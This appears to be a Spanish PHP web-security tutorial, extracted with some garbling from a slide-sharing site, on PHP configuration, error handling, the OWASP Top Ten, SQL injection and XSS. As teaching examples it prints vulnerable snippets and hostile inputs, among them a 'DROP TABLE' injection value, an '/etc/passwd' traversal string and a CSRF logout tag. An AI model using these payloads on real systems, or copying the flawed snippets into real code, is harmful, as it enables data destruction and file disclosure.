SEGURIDAD PHP EN PROGRAMACIÓN

30
 Seguridad en Aplicaciones WebBasado en la pr ogramación en PHP PHP es una lengua muy fácil a aprender, y muchos  programadores lo aprenden como manera de agregar interactividad a sus Sitio Web. Desafortunadamente, eso significa a menudo los programadores de PHP, especialmente ésos más nuevos al desarrollo web, cometen ciertos riesgos de seguridad y desaprovechan el potencial que sus usos pueden contener. Objetivo del documento El objetivo de este documento es que el programador que lo lea adquiera unas nociones  básicas (y no tan básicas) sobre seguridad que pueda aplicar a la hora de hacer sus aplicaciones. La mayoría de temas que aquí se presentan son temas reales, que se producen al no tener el programador tales nociones. La mayoría de temas en los que se va a basar el documento están orientados al uso en páginas web. Entiendo como usuario malintencionado aquel que busca en nuestra aplicación fallas de seguridad y las explota por puro aburrimiento, sin ánimo de reportar esos fallos al  programador para que puedan ser subsanados (hay gente que lo hace). La mejor forma de protegerse es no confiar nunca en cualquier valor que no sea fijo. Si no estás seguro de que una variable va a tener el valor que esperas, o que una llamada a unlink() borra el archivo que quieres, asegúrate, pues puede ser por ahí por donde empiece un ataque. Asegurarse no consiste en ejecutar el script y decir uy, esto funciona como espero, sino que hay que agotar todas las posibilidades de ataque antes de subir tu página al servidor definitivo. Cómo leerlo El documento presupone ciertos conocimientos de PHP, y que el lector sea capaz de poner atención al leer, por lo que se pide encarecidamente que, en caso de que la tengas puesta, quites la música y prestes total atención a lo que hay escrito.

Transcript of SEGURIDAD PHP EN PROGRAMACIÓN

Page 1: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 1/30

 

Seguridad en Aplicaciones WebBasado en la programación en PHP

PHP es una lengua muy fácil a aprender, y muchos

  programadores lo aprenden como manera de agregar interactividad a sus Sitio Web. Desafortunadamente, esosignifica a menudo los programadores de PHP, especialmenteésos más nuevos al desarrollo web, cometen ciertos riesgos deseguridad y desaprovechan el potencial que sus usos pueden

contener.

Objetivo del documento

El objetivo de este documento es que el programador que lo lea adquiera unas nociones  básicas (y no tan básicas) sobre seguridad que pueda aplicar a la hora de hacer susaplicaciones. La mayoría de temas que aquí se presentan son temas reales, que se producenal no tener el programador tales nociones. La mayoría de temas en los que se va a basar eldocumento están orientados al uso en páginas web.

Entiendo como usuario malintencionado aquel que busca en nuestra aplicación fallas deseguridad y las explota por puro aburrimiento, sin ánimo de reportar esos fallos al programador para que puedan ser subsanados (hay gente que lo hace).

La mejor forma de protegerse es no confiar nunca en cualquier valor que no sea fijo. Si noestás seguro de que una variable va a tener el valor que esperas, o que una llamada aunlink() borra el archivo que quieres, asegúrate, pues puede ser por ahí por donde empieceun ataque.

Asegurarse no consiste en ejecutar el script y decir uy, esto funciona como espero, sino quehay que agotar todas las posibilidades de ataque antes de subir tu página al servidor definitivo.

Cómo leerlo

El documento presupone ciertos conocimientos de PHP, y que el lector sea capaz de poner atención al leer, por lo que se pide encarecidamente que, en caso de que la tengas puesta,quites la música y prestes total atención a lo que hay escrito.

Page 2: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 2/30

 

Los bloques de código son ejemplos: los habrá que funcionen y que no. Hay ejemplos de loque hay que hacer, y también de lo que no hay que hacer, todo con el objetivo de que ellector aprenda a arreglar sus errores viendo código de otra persona.

A lo largo de todo el documento se podrán ver ejemplos que presentan fallos de seguridad,

debido a una mala configuración de PHP o un mal uso de las llamadas a las variables.

En otros casos verás ejemplos cuyo código tiene en cuenta los principales aspectos deseguridad. Es muy importante que NO copies y pegues directamente estos códigos en tu página. Antes debes comprender todo lo que se explique para poder aplicarlo.

Directivas de configuración

Archivos de configuración

 php.iniArchivo de configuración de PHP. Puedes ver que php.ini estás usando con phpinfo(más adelante se explica qué es y cómo usar phpinfo).

httpd.conf En él guarda su configuración el servidor HTTP Apache; al ser este el más utilizado por desarrolladores y servicios de alojamiento (tanto gratuitos como de pago) es enel que se centrarán los comentarios de este documento. Normalmente se encuentraen el directorio conf en el directorio raíz de Apache.

.htaccessFichero especial que usa Apache en el que se pueden poner ciertas llamadas a susdirectivas o las de algunos módulos que haya cargado. Requiere permisos para poder utilizarlo. Más adelante se enseña a comprobar si es posible su uso.

Tipos de directivas

PHP_INI_SYSTEMLas directivas de este tipo se pueden modificar en el php.ini y en el httpd.conf 

PHP_INI_PERDIR Las directivas de este tipo pueden cambiarse en los archivos php.ini, httpd.conf y.htaccess. Para saber cómo cambiarlas en archivos .htaccess consulta la siguientesección.

PHP_INI_USER Según el manual de PHP (en su versión española): La entrada puede definirse enscripts de usuario. Si miramos el manual en inglés (más recomendable, la verdad)veremos que en realidad quiere decir que las directivas pueden ser modificadas en el

Page 3: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 3/30

 

registro de Windows. Aunque listada en el manual, parece no haber ningunadirectiva que sea de este tipo (supongo que se podrán modificar las de tipoPHP_INI_SYSTEM). Al no ser la mayoría de servicios de alojamiento usuarios deMicrosoft Windows no explicaré como cambiar estas directivas.

PHP_INI_ALL

Estas directivas pueden ser cambiadas en cualquier parte, incluso en el propio script por medio de ini_set().

Cómo cambiar directivas del tipo PHP_INI_PERDIR 

Lo primero que deberías hacer es obtener información sobre la actual configuración delservidor, mediante el uso de estas líneas.

<?phpphpinfo() ?> 

La función  phpinfo() nos muestra información sobre la configuración de PHP y sobre lamáquina en la que está instalado. En la página que genera veremos como está ajustadoPHP. Es importante familiarizarse con esta función y con su salida, puesto que es básica yse usará muy a menudo.

Antes de explicar como cambiar este tipo de directivas debes asegurarte de que tu servidor cumple una serie de requisitos:

PHP como módulo de Apache Es fácil saber si PHP está compilado o instalado como módulo de Apache.Simplemente tienes que mirar en el phpinfo() la línea en la que pone Server APItenga un valor como Apache 2.0 Handler.

AllowOverride con el valor Options o AllEsto es un poco más pesado de comprobar, hay que hacer lo siguiente: pon en unarchivo llamado .htaccess en el directorio que tengas la página una cadena comoasdasd123. Si Apache muestra un Internal Server Error al actualizar esa página esque tenemos permiso para usarlos.

Si cumples estos dos requisitos ya puedes cambiar el valor de register_globals (u otrasopciones de configuración de PHP) en el archivo .htaccess del directorio sobre el quequeremos aplicar estas reglas (puede que tengas que crearlo):

#Para directivas con valores booleanos (On/Off, 1/0«) se usa php_flag php_flagregister_globals Off 

Page 4: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 4/30

 

#Para otras directivas se usa php_value php_valueerror_reporting 4095

  register_globals

 No nos engañemos, tener register_globals a on no es inseguro, lo que provoca los fallos deseguridad es el no programar bien y el no tener en cuenta a posibles atacantes. Cualquier variable que no definamos, o cualquiera de la que no comprobemos datos puede ser víctimade envenenamiento de variables, aquí voy a exponer un poco que hacer en estos casos.

La comunidad PHP decidió desactivarlo por defecto (antes estaba activado) a partir de laversión 4.2.0.

Esta directiva inicialmente era de tipo PHP_INI_ALL (se podía cambiar con ini_set() en el  php.ini o mediante archivos .htaccess), pero a partir de PHP 4.2.3 es de tipoPHP_INI_PERDIR (se puede cambiar solamente desde el php.ini o los archivos deconfiguración de Apache). Más abajo se explica como cambiar valores de configuracióncon este tipo de archivos.

La razón por la que en algunos de los ejemplos de este documento se usará register_globals a on es para que se vean los peligros que corres si lo tienes activado, y como (en medida delo posible) subsanarlos.

Razones para tenerlo desactivado

Tenerlo activado no hace más insegura una aplicación, ¿pero tenerlo desactivado la hacemas segura? Sí, así es. No porque nos vaya a proteger contra los "malvados juakers quecomen donuts y pizza", no es milagroso, pero nos va a forzar a no usar variables globales para referirnos a valores pasados por POST, GET, valores de sesión o cookies.

Matrices superglobales ($_GET, $_POST, $_SESSION«) 

Mucho se ha hablado de las variables (o matrices) superglobales (las que debes usar para

referirte a lo mencionado anteriormente), pero todavía queda gente que, o bien no lasconoce, o bien cree que no son necesarias, o que simplemente no las usa por pura pereza, por no modificar su código (aunque esto le vaya a beneficiar, y mucho). Qué le vamos ahacer, así somos«

A partir de la versión 4.1.0 de PHP están disponibles estas variables, y a partir de YA (sitodavía no lo haces) debes usarlas.

Page 5: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 5/30

 

La diferencia entre las variables normales (presuponiendo el valor de register_globals  activado, que es como lo tienen la mayoría de servicios de alojamiento, gracias aaplicaciones como PHP-Nuke y similares) y las matrices superglobales es muy simple.Usando matrices superglobales no se puede producir envenenamiento de variables normalesa través de URL, de cookies falseadas, etc.

La razón de este comportamiento es que register_globals (cuando está activado,obviamente) inyecta los valores de las variables que se pasan al script (lo que en esenciasería como usar la función extract() en cada una de las matrices superglobales), esto esterriblemente dañino si no se sopesan las consecuencias. Imaginemos por un momento quenuestro panel de control comprueba que el usuario está acreditado para acceder a él de lasiguiente forma (el ejemplo es de PHP.net):

<?phpif (usuario_valido()) {

$autorizado = true;}

if ($autorizado) {echo "Bienvenido a mis documentos importantes\n";

} else {echo "No tienes acceso a esta sección\n";

}?> 

Poquitas líneas, ¿eh? Pues contienen varios fallos« Si te fijas es muy simple resolverlos.Vamos a analizar el código:

if (usuario_valido()) {$autorizado = true;

Si el usuario es válido definimos la variable $autorizado como true, ¿y si no lo está? ¿no ladefinimos? Imagina por un momento que acceden a ese documento con la

urlpanel.php?autorizado=1, ¿que pasaría? saldría el bonito mensaje de Bienvenido a misdocumentos importantes. Recuerda definir siempre las variables que vayas a usar.

El ejemplo anterior, bien programado sería algo parecido a esto:

<?phpif (usuario_valido()) {

Page 6: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 6/30

 

  //Podemos guardar información útil$_SESSION['autorizado'] = 'Nombre del usuario';

} else {$_SESSION['autorizado'] = false;

}

//$_SESSION['autorizado'] va a estar siempre definidaif ($_SESSION['autorizado'] !== false) {

echo "Bienvenido a mis documentos importantes {$_SESION['autorizado']}\n";} else {

echo "No tienes acceso a esta sección\n";//Finalizamos la ejecución de la aplicación, no nos interesa que se siga interpretando

códigoexit;

}?> 

Qué hacer cuando se tiene activado

Puedes intentar desactivarlo usando el método que se explica más arriba. De todas maneras,si programas bien una aplicación (como se detalla en la siguiente sección) es improbableque tener esta directiva activada te afecte en demasía, así que no te preocupes.

Buenas costumbres

A continuación tienes una lista de cosas que debes tener en cuenta:

y  Definir siempre las variables antes de usarlas.y  Usar matrices superglobales en tus aplicaciones, en detrimento de las antiguas

globales.y   No usar nombres típicos para las variables, ya que aumentas la posibilidad de que

un atacante descubra como modificarlas.

  error_reporting

Esta directiva, aunque extraordinariamente útil, puede llevar a nuestro atacante a conocer datos sobre nuestras aplicaciones, por lo que distinguiremos dos entornos: el entorno dedesarrollo y el entorno de usuario final. Se explicará en que consiste cada una en sucorrespondiente sección.

error_reporting  (tanto la directiva como la función) admiten como parámetro un númeroentero. Puedes usar las constantes numéricas que provee PHP para el control de errores y

Page 7: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 7/30

 

combinarlas con operadores bit a bit en el archivo php.ini y en tus aplicaciones, pero no enlos archivos httpd.conf o .htaccess.

Los valores por defecto son los siguientes:

PHP 3El valor por defecto es 7, lo que equivale a E_ERROR | E_WARNING | E_PARSE, pero dado que en PHP 3 no se soportaban las constantes en el archivo php3.ini elvalor había de ser numérico.

PHP 4 y PHP 5E_ALL& ~E_NOTICE. Se muestran todos los errores salvo los de tipo E_NOTICEy E_STRICT (este último solo es aplicable a PHP 5).

Las constantes predefinidas dedicadas al manejo de errores que usaremos habitualmenteson estas:

E_ERROR Errores fatales al ejecutar una aplicación, interrumpen la ejecución del mismo. Estoserrores se producen por ejemplo al intentar utilizar funciones no definidas.

E_WARNINGAdvertencias en tiempo de ejecución, no detienen la ejecución de una aplicación. Se  produce cuando (por ejemplo) se proporciona a una función (como fwrite()) unrecurso no válido como parámetro.

E_NOTICE

El tipo menos conocido, junto con E_STRICT, y de los más útiles. Estos errores se producen mayormente al encontrar el intérprete de PHP una variable o constante nodefinida. No detienen la ejecución.

E_ALLAgrupa todos los errores excepto los de tipo E_STRICT.

E_STRICTEstá disponible únicamente a partir de PHP 5. Si habilitas este tipo de error PHPlanzará avisos si encuentra código obsoleto para que el programador (o sea, tú) puedas corregirlo y así mantener la compatibilidad e interoperabilidad.

Cada una de estas constantes tiene un valor numérico, puedes ver el valor de cada unaimprimiendo la constante en cuestión.

Como este tema tiene bastante miga se va a explicar en una sección aparte.

  safe_mode

Es de tipo PHP_INI_SYSTEM y está desactivada por defecto.

Page 8: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 8/30

 

Esta directiva es, según el manual de PHP, un intento para resolver el problema de laseguridad en un servicio de alojamiento compartido (el más común, poca gente puede permitirse un servidor dedicado).

Básicamente lo que hace esta directiva al estar activada es comprobar que los ficheros sobre

los que operamos desde otro fichero (la aplicación) tienen el mismo dueño (en sistemasUNIX).

Veamos un ejemplo de esto (que puede sonar perfectamente a chino, no te preocupes):

$ ls -l-rw-r--r-- 1 root root 36 2005-04-09 03:02 fichero1.php-rw-r--r-- 1 aeoris aeoris 73 2005-04-09 03:02 fichero2.php

Como se puede ver el archivo con nombre fichero1.php pertenece al superusuario (o root) y

el fichero2.php a aeoris, ahora veamos que pasa si intento leer el contenido de fichero1.phpdesde el archivo que me pertenece (fichero2.php) teniendo safe_mode activado.

Warning: file_get_contents(): SAFE MODE Restriction in effect. The script whose uid is1000 is not allowed to access fichero1.php owned by uid 0 in /var/www/fichero2.php

Al no tener los mismos dueños se produciría un error.

Esto en un momento dado nos podría proteger contra otros usuarios del mismo alojamientoque, por ejemplo, quieran obtener datos sobre nuestras aplicaciones. En el momento en que

intentasen hacerlo no podrían.

Pero« no podrían con PHP« con cualquier lenguaje es una cosa trivial hacer unexplorador de archivos del sistema sencillito, con lo que puede ver donde están nuestrosarchivos, y en la mayoría de casos (al no estar en PHP y no tener safe_mode) visualizar elcódigo fuente.

Mi consejo con este tema es que no confíes demasiado en esta directiva, pues no te protegeen absoluto. Suele ser más molesta que útil (es mi opinión, no ha de tomarse como unreferente).

Teniéndola activada también se restringirán algunas funciones, hay una lista de estasfunciones en el manual de PHP que los mismos escritores definen como posiblementeincorrecta e incompleta.

  open_basedir

Page 9: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 9/30

 

Es de tipo PHP_INI_SYSTEM y tiene valor nulo por defecto.

Lo que hace es limitar el espacio de trabajo al directorio al que está ajustada la directiva. Siquisieramos incluir un fichero por encima de ese directorio lanzaría un error.

Veamos un ejemplo (teniendo en cuenta que open_basedir vale /var/www):

<?phpreadfile('/etc/resolv.conf');?> 

Produciríaeste error:

Warning: readfile(): open_basedir restriction in effect. File(/etc/resolv.conf) is not withinthe allowed path(s): (/var/www/) in /var/www/open_basedir.php on line 3

Este tipo de error normalmente se ve al usar la función copy() para mover archivos que sehan subido con un formulario. Este comportamiento es erróneo y debería usarsemove_uploaded_file() en su lugar.

Esta directiva puede ser útil en un momento dado, pero por lo general dará quebraderos decabeza innecesarios.

Nomenclatura de archivos

Este es un tema un poco retorcido: ¿a qué me refiero con nomenclatura de archivos?Simplemente al nombre que se les pone a los archivos o directorios (que no son más quearchivos que a su vez contienen otros archivos).

Un hacker  intentará encontrar el nombre del archivo que contiene datos tales como lacontraseña de la base de datos o la contraseña de acceso al panel de control, datos con losque pueda causar un daño, o simplemente probar la seguridad de una aplicación.

Intenta no poner fácil que se averiguen los nombres de los archivos. Con esto quiero decir que no le pongas al panel de administración como nombre admin.php o cpanel.php (si, estotambién es aplicable si los tienes en directorios a parte«).

He visto gente que le pone extensión .inc (por include supongo) a sus aplicaciones programadas en PHP. Esto es terriblemente peligroso. Accediendo a la URLde el archivo

Page 10: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 10/30

 

en el que tengas la conexión a la base de datos por ejemplo tendrían los datos para conectar,con lo que podrían borrarla en un momento dado.

He visto casos de páginas muy importantes y que la mayoría usamos mucho quenombraban a sus archivos con extensiones de este tipo, con lo que obtener el código y hacer 

un volcado de la base de datos (nombres de usuario, contraseñas, números de tarjeta decrédito«) no fue nada difícil.

Estos dos últimos párrafos vienen a decir que no debes poner bajo ningún conceptoextensiones que no interprete PHP por defecto a tus aplicaciones.

Si eres un rato cabezón y no quieres cambiar la extensión (¿demasiado trabajo quizá?) terecomiendo que vetes el acceso a estos archivos de forma directa, puedes poner el siguientecódigo en un archivo .htaccess (aunque depende de que tu servidor sea Apache, de que puedas usar .htaccess«):

<FilesMatch "\.inc$">Order allow,denyDeny from all

</FilesMatch>

Las mismas reglas que se explican arriba sobre no poner nombres típicos a los archivos seaplican a los directorios.

Debes cuidar de tener una estructura de directorios limpia y clara de tu aplicación, paratrabajar más cómodamente con ella. Esto no significa que debas descuidar los nombres delos directorios; puedes poner un número aleatorio delante del nombre de cada uno para asímantenerlas más o menos fuera del alcance de ciertos elementos.

Errores

Ya se ha hablado un poco de como los errores son mostrados (o no) por PHP; se ha dichoque, cuando la aplicación se encontraba en el servidor público, la mejor opción era ocultar al usuario los errores lanzados por el intérprete y ofrecerle unos más amigables y porqueno, carecientes de información relativa al servidor. Como se puede suponer, esto es bueno, pero carece de utilidad real si no sabemos siquiera que esos errores han existido. Debemosser informados si ocurren, y esto obviamente no lo podemos dejar en manos del usuario.

Mostrar errores según entorno

Page 11: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 11/30

 

Dependiendo de donde tengamos alojada la página (en un servidor local o en uno final)deberemos mostrar o no los errores. Antes de que subas la página debes limar la mayoría deasperezas que pueda tener, aquí verás cómo tener bien configurado el reporte de errores.

y  Entornos de desarrollo

En estos casos nos interesa que se muestren absolutamente todos los errores, puesto que nosayudarán a corregir posibles fallas de seguridad (como que no definimos una variable por ejemplo) entre otras cosas.

PHP, como hemos visto antes, ajusta a un valor por defecto la directiva error_reporting ,tenemos dos opciones para cambiarla (supongamos que estás en un servidor local, por tantotienes acceso a todos los ficheros de configuración):

Cambiar la configuración en el php.ini

Esta es la solución más fácil, y también la mejor. En el archivo php.ini localiza lalinea del error_reporting  y cambia su valor por E_ALL | E_STRICT (si usas PHP5) o E_ALL si usas PHP 4.

Usar la función error_reporting() Esta solución es bastante pesada, por lo que no la recomiendo. Se trata de llamar ala función error_reporting() en cada uno de los archivos en los que queramosajustar el reporte de errores. Debes llamarla con los parámetros con los que seajustaría la directiva error_reporting (mira el punto anterior).

y Entornos de usuario final

Ten siempre en cuenta al usuario, ¿qué leches le importa que no puedas conectar a la basede datos? ¿o que haya un error de tipo sintáctico? Absolutamente nada. También debesconsiderar que un usuario malicioso podría intentar forzar a que hubiesen errores,consiguiendo de esta manera información que le fuese útil a la hora de intentar vulnerar laseguridad de nuestra aplicación.

¿Qué se puede hacer para remediarlo? Simple. Con las mismas que antes (en el puntoanterior, en nuestro servidor local) hacíamos que se mostrasen todos los errores aquí nos

interesa que no se muestre ninguno.

Para ello haremos uso de otra directiva de PHP, diferente de error_reporting , se trata dedisplay_errors().

Esta directiva es del tipo PHP_INI_ALL, por lo que puedes cambiarla usando ini_set(). Sieliges cambiarla de este tipo debes llevar cuidado, ya que si se produce un error fatal semostará (ya que el ini_set() nunca llegará a ejecutarse, puesto que se ha terminado la

Page 12: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 12/30

 

ejecución antes de empezar a interpretarlo). A estas alturas ya conoces como cambiar losvalores de las directivas de otras formas.

Pero« y si se produce un error, ¿cómo nos enteraríamos? ¡Sigue leyendo!.

Registro de errores

Está claro que no todos los errores tienen el mismo impacto en la página, uno por ejemplo puede hacer que salga mal una letra, y otro que una sección no se muestre. Es por ello quedebemos ser informados de todos los errores que ocurran en nuestra página, desde el másinsignificante hasta los más graves.

PHP dispone de varias maneras de registrar los errores, la más común es usar el registro delsistema en sistemas UNIX (syslog) ajustando esto desde el propio php.ini, aunque no esrecomendable, pues no tendremos acceso a este fichero, ya que está restringido al

superusuario. Pasamos a explicar una forma correcta, aunque restrictiva (requiere Apache y poder usar ficheros .htaccess) de cazar hasta los errores de interpretación (aunque estos, enteoría, jamás deberían estar presentes en el servidor).

Tenemos que decirle a PHP tres cosas:

y  Que no muestre los errores.y  Que los registre.y  Un sitio donde registrarlos.

Ahora bien, ya se ha dicho que si lo hacemos en la misma aplicación y se produce un error de los que paran la ejecución esto no nos serviría de nada, por eso debemos añadir al.htaccess lo siguiente:

 php_flagdisplay_errorsOff 

 php_flaglog_errorsOn

 php_valueerror_log "Ruta al registro"

En la tercera instrucción has de poner la ruta completa, a ser posible fuera del directoriovisible por el usuario, de un archivo en el cual poner los errores.

Tenemos otro método, que puede usarse para casos puntuales: mandar correos electrónicos.Esto debe ser usado para avisarnos de que la base de datos no conecta, por ejemplo, o queuna consulta SQL ha fallado. Nos serviremos de la función mysql_error() para mostrar estecaso concreto:

Page 13: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 13/30

 

<?phpmysql_connect(/* datos de conexión varios*/) || (

mail('[email protected]', 'Fallo al conectar a la base de datos',"MySQL ha devuelto lo siguiente:\n" . mysql_error ())&& die("<p>Estamos experimentando problemas, vuelva luego</p>\n"));

?>

Aspectos de Seguridad en Desarrollos de Aplicaciones Web

Algunos puntos importantes para obtener una aplicación segura:

  Contar con una gestión organizacional que apoye fuertemente a la seguridad  Establecer una metodología de desarrollo  Administración segura de la aplicación

Pilares de seguridad de la Información

  Confidencialidad  Integridad  Disponibilidad

Principios de Seguridad

  Minimizar el área de posibles ataques  Valores por defecto seguros

  Principio de Mínimo Privilegio  Separación de Deberes  Controlar las Posibles Fallas  Seguridad a través de Ocultamiento de Código (Obscurity)  Arreglar de manera correcta un problema de seguridad  Uso de Sistemas Externos

Desarrollo de Aplicaciones

El Proyecto OWASP

Open Web ApplicationSecurityProject

http://www.owasp.org/ 

  El proyecto estádedicado a encontrar e investigar las causas del software inseguro.

Page 14: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 14/30

 

  Es una organización sin fines de lucro.  La participación en OWASPes libre y estáabierta para todo el mundo.  Produce la mayoría de su material en forma abierta y colaborativa.

OWASPTopTen

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project 

OWASPpresenta en consenso las diez vulnerabilidades más críticas en Aplicaciones Web.

  Cross SiteScripting(XSS)  InjectionFlaws  Ejecución maliciosa de archivos  Referencia insegura a objetos propios de la aplicación  Cross SiteRequestForgery(CSRF)  Pérdida de la información y manejo inapropiado de errores

  Vulnerar Autenticación y Administración de Sesiones  Almacenamiento Criptográfico Inseguro  Comunicaciones Inseguras  Fallo en el acceso a URL restringidas

Vulnerabilidades

XSS

Ocurre cuando una aplicación toma los datos suministrados por el usuario y lo envía alnavegador sin validación ni codificación de contenido.

XSSpermite al ataque ejecutar scripts en el navegador de la víctima, robar sesiones deusuario, modificar sitios web, etc.

Tipos de XSS:

  Reflected  Stored

  DOMInjectionInjectionFlaws

Particularmente SQL Injection, ocurre cuando los datos del usuario son enviados a unintérprete como parte de un comando o query.

Page 15: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 15/30

 

Si la entrada del usuario es pasada al intérprete sin validación ni encodeo, la aplicación esvulnerable. $sql= "SELECT * FROM tabla WHERE id= '" . $_REQUEST['id¶] . "¶";

Para impedir injectionsusar APIsseguras, tales como queriesparametrizados fuertementetipadosy librerías de mapeo de objetos relacionales (ORM).

Estas interfaces manejan toda la fuga de datos (³data escaping´) o no poseen escaping.

Mientras que las interfaces seguras resuelven el problema, la validación es recomendadaademás para detectar ataques.

SQL Injection

$idThread= $_POST['idThread'];

$sql= 'SELECT titulo FROM threadsWHEREidThread= ' . $idThread;

if( !es_numerico($idThread) ) {

// No es un número, mensaje de error y exit

...}

Código HTML

<formmethod="post" action="inseguro.php">

<inputtype="text" name="idThread" value="4; DROP TABLE usuarios" />

<inputtype="submit" value="No pulse estebotón" />

</form>

Finalmente«SELECT titulo FROM threadsWHEREidThread= 4;

DROPTABLE usuarios

Ejecución Maliciosa de Archivos

El código vulnerable en la inclusión remota de archivos permite incluir código y datoshostiles.Los desarrolladores a menudo usan o concatenan entradas potencialmentevulnerables.En muchas plataformas los frameworkspermiten el uso de referencias a objetosexternos, URLso referencias al sistema de archivos.

Esto permite realizar:

Page 16: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 16/30

 

  Ejecución de código remoto  Instalación de rootkitremoto  Un constructor conocido como vulnerable muy común es:

include$_REQUEST['nombre_archivo];

Referencia insegura a objetos propios de la aplicación

Un desarrollador expone una referencia a un objeto de implementación interna como unarchivo, directorio, registro de base de datos, clave, URL o parámetro de un form.

<selectname="lenguaje">

<optionvalue="en">Ingles</option>

</select>

«require_once($_REQUEST['lenguaje¶]."lenguaje.php");

Este código puede ser atacado usando un stringcomo "../../../../etc/passwd%00" usandonullbyte injection.

CSRF

Un ataque CSRFfuerza al navegador de la víctima a enviar un pedido preautenticado a unaaplicación web vulnerable.

Un ataque típico contra un foro podría tomar el formulario dirigido al usuario para invocar alguna función, como por ejemplo la página de logoutde la aplicación.

<imgsrc=´http://www.ejemplo.com/logout.php´>

Un ataque asífunciona porque las credenciales de autorización del usuario (típicamentecookiesde sesión) podrían ser incluidas automáticamente en los pedidos al navegador, aunsi el atacante no suministra las credenciales.

PHP Top5

PHP Top5(http://www.owasp.org/index.php/PHP_Top_5) es un proyecto deOWASPbasado en la sección de PHP del TOP 20 de SANS (Instituto dedicado a lainvestigación y educación de seguridad informática).

Es una clasificación de cinco vulnerabilidades que afectan particularmente a AplicacionesWeb desarrolladas en el lenguaje PHP.

  Ejecución Remota de Código (RemoteCodeExecution)

Page 17: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 17/30

 

  Cross-sitescripting(XSS)  SQL Injection  ConfiguraciónPHP  Ataques al sistema de archivos

Seguridad en PHP

Muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar aplicaciones.

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectosde seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado

tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más afondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco másseguro.

Inyección SQL 

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos delsitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentenciaSQL haciendo que se ejecute la sentencia invasora.

S e recomienda: 

y  Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campousername, y sabemos que los usuarios sólo pueden estar compuestos por letras ynúmeros, no se deben permitir caracteres como " ' " o " = " . O si se trata del campoe-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])

Page 18: SEGURIDAD PHP EN PROGRAMACIÓN

5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com

http://slidepdf.com/reader/full/seguridad-php-en-programacion 18/30

 

y  Usar funciones que escapan caracteres especiales de una cadena para su uso enuna sentencia SQL, como mysql_real_escape_string(), la cual coloca barrasinvertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(),(la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamenteejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se

debe utilizar addslashes() en las cadenas que ya se han escapado conmagic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting) 

Las vulnerabilidades de XSS permiten ejecutar código de  scripting en el contexto del sitioweb:

y  Explotando la confianza que tiene un usuario de un sitio web. Puede que losusuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador.Por ejemplo, cuando el navegador envía cookies en una petición.

y  Haciendo que los sitios web muestren datos externos. Como aplicaciones demayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.

